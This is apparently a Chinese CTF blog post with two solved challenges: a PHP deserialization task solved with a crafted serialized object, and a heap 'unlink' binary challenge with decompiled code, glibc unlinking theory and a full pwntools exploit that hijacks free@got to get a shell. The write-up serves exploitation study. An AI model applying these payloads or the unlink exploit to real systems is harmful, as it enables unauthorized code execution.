7-9-每日一题

7-9-每日一题

WEB1—[SWPUCTF 2021 新生赛]ez_unserialize

关于robots.txt

robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。 但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。

关于反序列化

反序列化是一种数据处理技术,它能把序列化后的数据结构或者对象状态重新转换为程序可直接使用的格式

什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。

题目解析

这边使用kali的内置工具dirsearch 扫描网站

xtensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_node4.anna.nssctf.cn_28585/_25-07-09_03-48-29.txt

Target: http://node4.anna.nssctf.cn:28585/

[03:48:29] Starting:                                                                                                                                                 
[03:48:33] 403 -  309B  - /.ht_wsr.txt                                      
[03:48:33] 403 -  312B  - /.htaccess.orig                                   
[03:48:33] 403 -  312B  - /.htaccess.bak1
[03:48:33] 403 -  314B  - /.htaccess.sample
[03:48:33] 403 -  312B  - /.htaccess.save                                   
[03:48:33] 403 -  313B  - /.htaccess_extra                                  
[03:48:33] 403 -  312B  - /.htaccess_orig
[03:48:33] 403 -  310B  - /.htaccess_sc
[03:48:33] 403 -  310B  - /.htaccessOLD                                     
[03:48:33] 403 -  310B  - /.htaccessBAK
[03:48:33] 403 -  311B  - /.htaccessOLD2                                    
[03:48:33] 403 -  303B  - /.html                                            
[03:48:33] 403 -  302B  - /.htm
[03:48:33] 403 -  312B  - /.htpasswd_test                                   
[03:48:33] 403 -  308B  - /.htpasswds                                       
[03:48:33] 403 -  309B  - /.httr-oauth                                      
[03:48:54] 200 -    0B  - /flag.php                                         
[03:49:06] 200 -   35B  - /robots.txt                                       
[03:49:06] 403 -  312B  - /server-status/                                   
[03:49:06] 403 -  311B  - /server-status                                    
                                                                             
Task Completed           

看到有robots

进入

有/cl45s.php

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

可以看到类wllm中,__destruct()方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化

  1. 反序列化入口:代码通过$_GET['p']获取参数p,并直接传递给unserialize()函数,未做任何过滤,导致可以注入任意序列化对象。

  2. 析构函数逻辑:当对象销毁时(脚本结束),会触发__destruct()方法。若admin属性为"admin"passwd属性为"ctf",则输出$flag;否则输出错误信息。

  3. 初始属性值:构造函数__construct()设置admin="user"passwd="123456",但反序列化时会覆盖这些值(反序列化不调用构造函数)。

  4. 构造恶意序列化字符串

    • 创建wllm对象,手动设置属性:
      • admin = "admin"
      • passwd = "ctf"
    • 序列化该对象得到字符串。
  5. 生成序列化字符串的PHP代码

<?php
class wllm {
    public $admin;
    public $passwd;
}
$obj = new wllm();
$obj->admin = "admin";
$obj->passwd = "ctf";
echo serialize($obj);
?>

运行后输出:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将结果传入/?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}

ida逆向分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("welcome to note system");
  while ( 1 )
  {
    menu();
    puts("please chooice :");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        touch();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        take_note();
        break;
      case 5:
        exit_0();
      default:
        puts("no such option");
        break;
    }
  }
}

touch

unsigned __int64 touch()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 10 && (&buf)[i]; ++i )
  {
    if ( i == 10 )
    {
      puts("the node is full");
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("please input the size : ");
  if ( v1 >= 0 && v1 <= 512 )
  {
    __isoc99_scanf("%d", &v1);
    (&buf)[i] = (char *)malloc(v1);
    if ( (&buf)[i] )
      puts("touch successfully");
  }
  return __readfsqword(0x28u) ^ v3;
}

take_note

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

detele

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to delete");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    free((&buf)[v1]);
    (&buf)[v1] = 0LL;
  }
  return __readfsqword(0x28u) ^ v2;
}

show

unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to show");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("the content is : ");
    puts((&buf)[v1]);
  }
  return __readfsqword(0x28u) ^ v2;
}

checksec

[*] '/mnt/hgfs/windowshare/heap/unlink'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

可以看到,开启了canary和NX保护

思路总结

1. 核心原理:glibc 的堆块管理机制

glibc 中,空闲堆块通过双向链表组织(fdbk 指针)

struct malloc_chunk {
    size_t      prev_size;  // 前一块大小
    size_t      size;       // 当前块大小 + 标志位
    struct malloc_chunk *fd; // 前向指针(指向链表中前一个空闲块)
    struct malloc_chunk *bk; // 后向指针(指向链表中后一个空闲块)
};

当释放堆块时,glibc 会执行 unlink 操作将其从空闲链表移除:

在unlink操作中,我们有两个操作:

1. FD = P->fd   // 即从P的0x10位置读取
2. BK = P->bk   // 即从P的0x18位置读取

然后执行:

FD->bk = BK   // 即把BK的值写入FD地址+0x18的位置

BK->fd = FD   // 即把FD的值写入BK地址+0x10的位置

2. 攻击条件

  • 堆溢出漏洞:可覆盖相邻堆块的头部数据(prev_sizesize
  • 可控内存:能伪造堆块结构(控制 fdbk 指针)
  • 触发 unlink:需通过 free() 或堆合并触发目标堆块的 unlink 操作

3. 攻击步骤图解

步骤 1:伪造堆块结构

假设存在堆块 A(易溢出)和 B(目标),在 A 中伪造一个空闲堆块:

     伪造的堆块 P
         +----------------+ 
A->data: | prev_size      | 
         | size (含 PREV_INUSE=0) | -- 标记前一块为空闲
         | fd = target - 3*sizeof(void*) | 
         | bk = target - 2*sizeof(void*) | 
         +----------------+

步骤 2:修改相邻堆块头

通过堆溢出修改 B 的头部:

B->prev_size = 伪造堆块大小  // 使系统认为 P 是空闲块
B->size &= ~PREV_INUSE    // 清除 PREV_INUSE 标志位

释放堆块 B 时,glibc 会:

  1. 检查 B->prev_inuse=0,认为前一块 P 空闲
  2. 尝试合并 PB,触发 unlink(P)

执行 unlink 操作时:

FD = P->fd = target - 0x18
BK = P->bk = target - 0x10

// 关键写操作:
FD->bk = BK  --> *(target - 0x18 + 0x18) = target - 0x10
               即 *target = target - 0x10

BK->fd = FD  --> *(target - 0x10 + 0x10) = target - 0x18
               即 *target = target - 0x18

最终 *target 被修改为 target - 0x18

4. 现代 glibc 的防护与绕过

防护机制(Safe-Unlinking)

// glibc 2.3.6+ 的检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr ("corrupted double-linked list");

绕过方法

构造满足检查的伪造指针

P->fd = target - 0x18
P->bk = target - 0x10

// 提前在内存中布置:
*(target - 0x18 + 0x18) = P  // 使 FD->bk == P
*(target - 0x10 + 0x10) = P  // 使 BK->fd == P

5. 实战利用场景

场景:修改 GOT 表执行 shellcode

  1. 选择目标:free@got.plt
  2. 构造 target = free@got.plt
  3. 触发 unlink 后:*free@got.plt = free@got.plt - 0x18
  4. 通过堆操作写 free@got.plt 区域:
# 此时 free@got.plt 指向自身 -0x18
write(free@got.plt + 0x18, shellcode_addr)

6.例题

NSS上面的一道题

ida分析一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("welcome to note system");
  while ( 1 )
  {
    menu();
    puts("please chooice :");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        touch();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        take_note();
        break;
      case 5:
        exit_0();
      default:
        puts("no such option");
        break;
    }
  }
}

代码有四个功能,这里注意,在创建堆块的时候是不能写入内容的,要使用take_note功能

简单的笔记管理系统

进入touch看看

unsigned __int64 touch()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 10 && (&buf)[i]; ++i )
  {
    if ( i == 10 )
    {
      puts("the node is full");
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("please input the size : ");
  if ( v1 >= 0 && v1 <= 512 )
  {
    __isoc99_scanf("%d", &v1);
    (&buf)[i] = (char *)malloc(v1);
    if ( (&buf)[i] )
      puts("touch successfully");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里查看buf

.bss:00000000006020C0 buf             dq ?                    ; DATA XREF: touch+25↑r
.bss:00000000006020C0                                         ; touch+A2↑w ...
.bss:00000000006020C8                 db    ? ;
.bss:00000000006020C9                 db    ? ;
.bss:00000000006020CA                 db    ? ;
.bss:00000000006020CB                 db    ? ;
.bss:00000000006020CC                 db    ? ;
.bss:00000000006020CD                 db    ? ;
.bss:00000000006020CE                 db    ? ;
.bss:00000000006020CF                 db    ? ;
.bss:00000000006020D0                 db    ? ;
.bss:00000000006020D1                 db    ? ;
.bss:00000000006020D2                 db    ? ;

可以看到buf被写在了bss段上,它用于储存malloc申请下来的空间地址的指针

再看看take_note

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

首先分配两个0x80大小的堆块(实际chunk大小为0x90),形成以下内存布局:

chunk0: [prev_size | size] + 用户数据
chunk1: [prev_size | size] + 用户数据

构造fake_chunk 即我们上文所说的堆块P

pl = p64(0) + p64(0) + p64(0x6020c0 - 0x18) + p64(0x6020c0 - 0x10)
pl += b'a'*0x60 + p64(0x80) + p64(0x90)
take(0, pl)

内存布局长这样

chunk0: 
  [prev_size | size] 
  [0 | 0]              # 用户数据开始
  [fd = 0x6020a8]      # 指向全局数组-0x18
  [bk = 0x6020b0]      # 指向全局数组-0x10
  [aaa...] (60字节)
chunk1:
  [prev_size = 0x80]   # 被覆盖
  [size = 0x90]        # 清除PREV_INUSE位

detele(1)释放堆块后

系统会检查prev_inuse位,发现前一个chunk(fake chunk)"空闲",于是执行unlink操作:

// unlink宏操作
P->fd->bk = P->bk  // (0x6020a8 + 0x18) = 0x6020b0
P->bk->fd = P->fd  // (0x6020b0 + 0x10) = 0x6020a8

结果:全局数组指针被修改为指向自身-0x18的位置(0x6020a8)

take(0, b'/bin/sh\x00' + p64(0)*2 + p64(free_got) + p64(0x6020a8))

利用被修改的指针写入:

  • b'/bin/sh\x00':在0x6020a8处写入"/bin/sh"字符串
  • p64(0)*2:填充0x6020b0和0x6020b8
  • p64(free_got):将全局数组[0](0x6020c0)改为free@got地址
  • p64(0x6020a8):将全局数组[1](0x6020c8)改为"/bin/sh"地址

此时全局数组变为:

0x6020c0: [free@got]   // 原chunk0指针
0x6020c8: [0x6020a8]   // 原chunk1指针(指向"/bin/sh"

泄露libc基地址

show(0)
free_addr = u64(rc(6).ljust(8, b'\x00'))

show(0)实际读取全局数组[0]指向的内容(free@got),泄露free函数的真实地址

libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']

覆盖free@got

take(0, p64(system))

delete(1)实际调用:

free(全局数组[1]) → free(0x6020a8) → system("/bin/sh")

攻击流程图解

+-----------------+        +-----------------+
|   chunk0        |        |   chunk1        |
| [prev_size|size]|        | [prev_size|size]|
| fake FD/BK ptrs |------->| (PREV_INUSE=0)  |
+-----------------+        +-----------------+
       |                          |
       | unlink操作               | delete(1)
       v                          v
+-----------------+        +-----------------+
| 全局数组被修改   |        | 劫持指针结构     |
| ptr0->free@got  |        | ptr1->/bin/sh   |
+-----------------+        +-----------------+
       |                          |
       | show(0)                  | delete(1)
       v                          v
+-----------------+        +-----------------+
| 泄露free地址    |        | 调用system       |
| 计算system地址  |        | 获得shell        |
+-----------------+        +-----------------+

exp:

from pwn import *
from LibcSearcher import*
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
io = process('./service')
io = remote('node4.anna.nssctf.cn',28838)

s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): io.success(name+"==>"+hex(address))

def debug(): gdb.attach(io)

def touch(size):
    sla(":\n", '1')
    sla(": \n", str(size))

def delete(index):
    sla(":\n", '2')
    sla("delete\n", str(index))

def show(index):
    sla(":\n", '3')
    sla("show\n", str(index))

def take(index, content):
    sla(":\n", '4')
    sla("modify :\n", str(index))
    sa("content\n", content)

elf = ELF('./service')
free_got = elf.got['free']
bss = 0x6020c0
touch(0x80) #0
touch(0x80) #1
pl = p64(0) + p64(0) + p64(0x6020c0 - 0x18) + p64(0x6020c0 - 0x10)#fake_chunk
pl += b'a'*0x60 + p64(0x80) + p64(0x90)
#覆盖chunk1,使得size位是0x90,size表示前一个堆块的大小,后三位标志位表示前一个堆块空闲,0x80是物理相邻的前一个堆块:fake_chunk的大小
#0x6020c0 (全局数组[0]): free@got 地址
take(0, pl)#unlink
delete(1)

take(0, b'/bin/sh\x00' + p64(0)*2 + p64(free_got) + p64(0x6020a8))
#将binsh写入0x6020a8
show(0)
ru(": \n")
free_addr = u64(rc(6).ljust(8, b'\x00'))
slog("free", free_addr)
libc = ELF('../tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
take(0, p64(system))#修改got表
delete(1)#调用system
io.interactive()
低地址                                      高地址
┌───────────────────────┬───────────────────────┐
│      Chunk 0 用户数据   │       全局变量区       │
├───────────┬───────────┼───────────┬───────────┤
│ /bin/sh  │   0x0     │   0x0     │ free_got  │
│ (8字节)   │  (8字节)  │  (8字节)  │  (8字节)  │
└───────────┴───────────┴───────────┴───────────┘
                         │           │
                         ▼           ▼
                    [free@got.plt]  [0x6020a8]
                    存储free函数地址   全局指针

思路总结:

我们构造了一个假堆块,并且使它的fd和bk分别为0x6020a8和0x6020b0

detele(1)由于chunk0内部的fake_chunk和chunk1的 PREV_INUSE标识位是0,所以会有一个类似于抽离出fake_chunk的操作

堆管理器会尝试把这个fake_chunk从空闲列表移除,但它只是个假堆块,没有真实合并内存

这里欺骗堆管理器,让他误以为fake chunk是一个空闲块,然后触发unlink

由于fd/bk指向全局变量,最终效果只是修改了ptr(0)

P:要移除的空闲块(在攻击中是伪造的 fake_chunk)

FD = P->fd:P 在空闲链表中的前一个块

BK = P->bk:P 在空闲链表中的后一个块

操作目标:把 P 从双向链表中移除,让 FD 和 BK 直接相连。

原本应该写入堆的数据(通过 take(0, data) 写入 chunk0 的用户数据区),被利用漏洞改写到伪造的地址 0x6020a8(全局变量附近)

通过 unlink 操作,我们修改了 ptr[0]chunk0 的指针),使其从指向堆变成指向 0x6020a8

之后调用 take(0, data) 时,程序会向 ptr[0](即 0x6020a8)写入数据,而非原来的堆地址。

(1) FD->bk = BK 的计算

FD->bk = *(0x6020a8 + 0x18) = *(0x6020c0)
  • 操作:向地址 0x6020c0 写入 BK 的值(0x6020b0
  • 效果ptr[0] = 0x6020b0(临时修改)

(2) BK->fd = FD 的计算

BK->fd = *(0x6020b0 + 0x10) = *(0x6020c0)
  • 操作:向地址 0x6020c0 写入 FD 的值(0x6020a8

  • 效果ptr[0] = 0x6020a8(最终覆盖)

  • FD = 0x6020a8FD + 0x18 = 0x6020c0ptr[0] 地址)

  • BK = 0x6020b0BK + 0x10 = 0x6020c0(还是 ptr[0] 地址)

posted @ 2025-07-09 17:24  shanlinchuanze  阅读(43)  评论(0)    收藏  举报